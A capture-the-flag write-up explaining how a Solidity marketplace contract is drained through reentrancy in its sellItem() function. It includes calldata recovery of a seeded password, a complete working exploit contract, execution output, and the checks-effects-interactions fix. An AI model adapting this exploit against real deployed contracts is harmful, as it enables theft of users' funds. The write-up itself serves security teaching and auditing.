Challenge Overview
The challenge deploys a marketplace contract called Lockers, seeded with 2 ETH, a set of registered users, and a set of items. Items have different rarity tiers with different payout values when sold. The attacker must drain the contract's entire ETH balance to zero.
Objective: address(TARGET).balance == 0. The contract starts with 2 ETH, and a Mythic item pays out exactly 1 ETH — making two payouts the exact drain needed.
Calldata Reconnaissance
The Lockers contract constructor takes several arrays as arguments: usernames, passwords, item names, item owners, and item rarities. These are passed as calldata in the deployment transaction — and deployment transactions, like all transactions, are publicly readable on-chain.
To find these initial values, we fetch the deployment transaction and decode its input data:
$ # Find the setup contract's deployment transaction hash
cast tx <SETUP_TX_HASH> --rpc-url $RPC --json | python3 -c "
import sys, json
tx = json.load(sys.stdin)
print(tx['input'])
"The raw input contains ABI-encoded arrays of users, passwords, items, owners, and rarities. Decoding this reveals the full seeded dataset — including the password of the Mythic item's original owner. This password is what we'll need to authenticate a transfer of ownership.
KEY INSIGHT
Constructor calldata is a gold mine in blockchain CTFs. Whenever a challenge seedes initial state during deployment (users, passwords, items, keys), that data is written into the deployment transaction's input field. It is permanently on-chain and fully decodable. Always check deployment calldata when the challenge involves pre-seeded data.
Contract Architecture
Key Functions in Lockers.sol
The Lockers contract has three functions relevant to our exploit:
| 1 | // Register a username, binding it to msg.sender's address |
| 2 | function getLocker(string calldata username, string calldata password) external { |
| 3 | require(bytes(users[username]).length == 0, "Username taken"); |
| 4 | users[username] = password; |
| 5 | usernameToWallet[username] = msg.sender; |
| 6 | } |
| 7 | |
| 8 | // Transfer an item to another username (authenticated by current owner's password) |
| 9 | function transferItem( |
| 10 | string calldata name, |
| 11 | string calldata to, |
| 12 | string calldata password |
| 13 | ) external { |
| 14 | for (uint256 i = 0; i < items.length; ++i) { |
| 15 | if (_strEquals(name, items[i].name)) { |
| 16 | require(_strEquals(password, users[items[i].owner]), "Auth failed"); |
| 17 | items[i].owner = to; |
| 18 | return; |
| 19 | } |
| 20 | } |
| 21 | revert("Item not found"); |
| 22 | } |
| 23 | |
| 24 | // Sell an item — this is the vulnerable function |
| 25 | function sellItem(string calldata name, string calldata password) external { ... } |
Two observations set up the exploit:
- getLocker registers any username to
msg.sender— so our attacker contract can register itself as the wallet address for a username. - transferItem moves item ownership to any username string with no validation that the target is registered. We can transfer the Mythic item to ourselves using the original owner's leaked password.
The sellItem Function
| 1 | function sellItem(string calldata name, string calldata password) external { |
| 2 | uint256 index; |
| 3 | Item memory _item; |
| 4 | string memory prevOwner; |
| 5 | |
| 6 | // Find the item |
| 7 | for (uint256 i = 0; i < items.length; ++i) { |
| 8 | if (_strEquals(name, items[i].name)) { |
| 9 | require(_strEquals(password, users[items[i].owner]), "Authentication Failed"); |
| 10 | _item = items[i]; |
| 11 | prevOwner = items[i].owner; |
| 12 | index = i; |
| 13 | } |
| 14 | } |
| 15 | |
| 16 | require(bytes(_item.name).length > 0, "Item does not exist"); |
| 17 | |
| 18 | _item.owner = "Vendor"; // This does NOT yet update storage — _item is a memory copy |
| 19 | |
| 20 | // ═══════════════════════════════════════════════════════════ |
| 21 | // DANGER: External call fires HERE, before delete |
| 22 | // ═══════════════════════════════════════════════════════════ |
| 23 | (bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}(""); |
| 24 | require(success); |
| 25 | |
| 26 | delete items[index]; // State update happens AFTER the external call — too late |
| 27 | } |
Understanding Reentrancy
Reentrancy is one of the oldest and most consequential smart contract vulnerabilities. The DAO hack in 2016 — which led to the Ethereum/Ethereum Classic fork — was a reentrancy attack. To understand it, you need to understand what happens when Solidity sends ETH to an address.
Mental Model — What Happens When ETH is Sent
When a Solidity contract calls addr.call{value: X}(""):
- If
addris an EOA (externally owned account), the ETH is transferred and execution resumes. - If
addris a contract, the ETH is transferred AND the contract'sreceive()orfallback()function is executed. - During that execution, the original contract has not yet finished its function. The EVM is mid-execution of
sellItem(). Any state updates that come after the.call()have not happened yet.
This is the core insight. When usernameToWallet[prevOwner].call{value: 1 ether}("") fires, execution transfers to our attacker contract. At this precise moment, delete items[index] has NOT run. The item still exists in items[]. The attacker contract can call sellItem() again from receive().
The Vulnerable Code — Line by Line
The vulnerability in sellItem() is a textbook violation of the checks-effects-interactions pattern. The correct order is:
CORRECT ORDER (Checks-Effects-Interactions):
① CHECKS: validate inputs, require conditions
② EFFECTS: update all contract state (delete item, update balances)
③ INTERACT: send ETH, call external contracts
ACTUAL ORDER IN sellItem():
① CHECKS: find item, authenticate owner ✓
② INTERACT: .call{value: price}("") ← WRONG POSITION
③ EFFECTS: delete items[index] ← TOO LATEThe line that makes this exploitable:
| 1 | (bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}(""); |
usernameToWallet[prevOwner]— this is the wallet address we registered viagetLocker(). We control this address. It is our attacker contract..call{value: price[_item.rarity]}("")— sends ETH to our contract. This triggersreceive().- Inside
receive(), we callsellItem()again on the same item. - The second call finds the item still in
items[](delete hasn't run), authenticates successfully, and pays out another 1 ETH. - The second call's delete removes the item from storage.
- The first call's delete tries to delete an already-deleted index — harmless.
- Total ETH paid out: 2 ETH. Balance: 0. Win condition satisfied.
Exploit Strategy
We need exactly two payouts of 1 ETH each (Mythic item price) to drain the 2 ETH contract balance. The reentrancy naturally provides this: one payout during the outer sellItem() call, one during the re-entered sellItem() call from receive().
A reentered boolean flag in our attacker contract prevents a third call — which would fail anyway since the balance would be 0, but preventing it avoids a revert in the nested call that could cascade back up and revert everything.
Setup steps before calling sellItem:
- Deploy the attacker contract (it registers itself as a user via the constructor or an
attack()function) - Call
getLocker(myUsername, myPassword)— binds our username to the attacker contract address - Call
transferItem(mythicItemName, myUsername, victimPassword)— steal ownership of the Mythic item - Call
sellItem(mythicItemName, myPassword)— trigger the reentrancy
The Reentrancy Execution Trace
Initial state: Lockers balance = 2 ETH, WizardsScepter owned by attacker
attack()
│
└── sellItem("WizardsScepter", MY_PASSWORD) [outer call]
│
├── [find item, authenticate] ✓
├── _item.owner = "Vendor" [memory only, storage unchanged]
├── balance: 2 ETH
│
└── .call{value: 1 ether}("") → Attacker.receive()
│
Lockers balance: 1 ETH (1 ETH sent)
WizardsScepter: STILL IN items[] (not yet deleted)
│
└── sellItem("WizardsScepter", MY_PASSWORD) [reentrant call]
│
├── [find item, authenticate] ✓ (item still exists!)
├── _item.owner = "Vendor"
├── balance: 1 ETH
│
└── .call{value: 1 ether}("") → Attacker.receive()
│
reentered = true → do nothing, return
│
← back to nested sellItem
├── delete items[index] [item removed from storage]
└── returns
│
Lockers balance: 0 ETH (second 1 ETH sent)
│
← back to outer sellItem
├── delete items[index] [already deleted — no-op]
└── returns
isSolved() → true (balance == 0)Writing the Exploit Contract
| 1 | // SPDX-License-Identifier: UNLICENSED |
| 2 | pragma solidity ^0.8.13; |
| 3 | |
| 4 | import {Lockers} from "./Lockers.sol"; |
| 5 | import {Setup} from "./Setup.sol"; |
| 6 | |
| 7 | contract Exploit { |
| 8 | Lockers public immutable target; |
| 9 | |
| 10 | // Credentials recovered from deployment calldata |
| 11 | string constant ITEM_NAME = "WizardsScepter"; |
| 12 | string constant VICTIM_PASSWORD = "ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~"; |
| 13 | string constant MY_USERNAME = "attacker_user_001"; |
| 14 | string constant MY_PASSWORD = "attacker_pw_001"; |
| 15 | |
| 16 | bool private reentered; |
| 17 | |
| 18 | constructor(address _setup) { |
| 19 | target = Setup(_setup).TARGET(); |
| 20 | } |
| 21 | |
| 22 | function attack() external { |
| 23 | // Step 1: Register our contract as the wallet for our username |
| 24 | target.getLocker(MY_USERNAME, MY_PASSWORD); |
| 25 | |
| 26 | // Step 2: Transfer the Mythic item to our username |
| 27 | // (authenticated with the victim's leaked password) |
| 28 | target.transferItem(ITEM_NAME, MY_USERNAME, VICTIM_PASSWORD); |
| 29 | |
| 30 | // Step 3: Sell the item — this triggers reentrancy via receive() |
| 31 | target.sellItem(ITEM_NAME, MY_PASSWORD); |
| 32 | } |
| 33 | |
| 34 | receive() external payable { |
| 35 | // Called when Lockers sends us 1 ETH during sellItem() |
| 36 | // At this point: item still exists in storage, outer sellItem() is mid-execution |
| 37 | if (!reentered && address(target).balance >= 1 ether) { |
| 38 | reentered = true; |
| 39 | // Re-enter: sell the same item again before it gets deleted |
| 40 | target.sellItem(ITEM_NAME, MY_PASSWORD); |
| 41 | } |
| 42 | // After this returns, the outer sellItem() resumes and deletes the item |
| 43 | } |
| 44 | } |
Key points about the exploit contract design:
- Lines 23, 27, 31: Three-step setup — register, steal, sell. Each step is necessary: getLocker binds our address, transferItem moves ownership, sellItem is where the reentrancy fires.
- Line 35:
receive()is triggered by the ETH transfer insidesellItem(). This is where execution returns to us mid-function. - Line 36: The
reenteredguard prevents a third call. Without it, the third call would fail (balance is 0, can't pay), potentially reverting the whole chain. - Line 38: The re-entrant
sellItem()call — the item still exists at this point, so the call succeeds and drains the remaining 1 ETH.
Execution & Verification
$ forge script Solve.s.sol:Solve \
--rpc-url http://<HOST>:<PORT>/rpc \
--private-key $PRIVATE_KEY \
--broadcastSending transactions [1/2]: hash: <DEPLOY_TX> Exploit contract deployed Sending transactions [2/2]: hash: <ATTACK_TX> attack() executed Script ran successfully. == Logs == isSolved: true
$ cast call --rpc-url $RPC $TARGET "isSolved()"0x0000000000000000000000000000000000000000000000000000000000000001
Root Cause & Mitigation
Root Cause
The sellItem() function violates the checks-effects-interactions pattern. It sends ETH to an external, attacker-controlled address before deleting the item from storage. This creates a window where the item still exists but ETH has already been paid for it.
The Fix — Follow Checks-Effects-Interactions
| 1 | function sellItem(string calldata name, string calldata password) external { |
| 2 | // ... find item, authenticate ... |
| 3 | |
| 4 | // ① EFFECTS first — update state before any external calls |
| 5 | delete items[index]; |
| 6 | |
| 7 | // ② INTERACT last — send ETH after state is clean |
| 8 | (bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}(""); |
| 9 | require(success); |
| 10 | } |
With the delete before the external call, a re-entrant sellItem() would fail to find the item ("Item does not exist") and would revert.
Alternative — Reentrancy Guard
A reentrancy guard (nonReentrant modifier from OpenZeppelin's ReentrancyGuard) prevents any function with the modifier from being re-entered. This is a defensive layer, but Checks-Effects-Interactions is the primary fix — reentrancy guards are additional protection.
Additional Issues
The transferItem() function should validate that the recipient username exists inusernameToWallet before allowing ownership transfer. Currently, items can be moved to any arbitrary string, enabling the attacker to steal items by registering a username that matches a transfer target.
Lessons Learned
Lesson 1 — Reentrancy is About State, Not ETH
Reentrancy attacks are not fundamentally about ETH. They happen when external code gets control before the contract has finished updating its state. ETH transfers are one trigger (via receive()), but reentrancy can occur through any external call where the recipient can call back into the contract before state is finalized.
Lesson 2 — Checks-Effects-Interactions is Non-Negotiable
Every function that makes external calls must update all relevant state before the external call. There is no safe way to defer state updates when an external call is in the call stack. The moment .call() executes, you have given up control of execution to the callee.
Lesson 3 — Calldata Reconnaissance Reveals Seeded Secrets
Deployment calldata is permanent and public. Any challenge that initializes contracts with passwords, keys, or credentials during construction has those values recoverable from the deployment transaction. Always investigate the deployment transaction first in challenges with pre-seeded state.
Lesson 4 — Audit Pattern for Reentrancy
When reviewing Solidity code, scan for any pattern where: (a) the function sends ETH or makes an external call, and (b) state updates (deletes, balance changes, ownership transfers) occur after that call. Any such pattern is a reentrancy candidate. Ask: what happens if the recipient calls back into this function before the post-call state updates complete?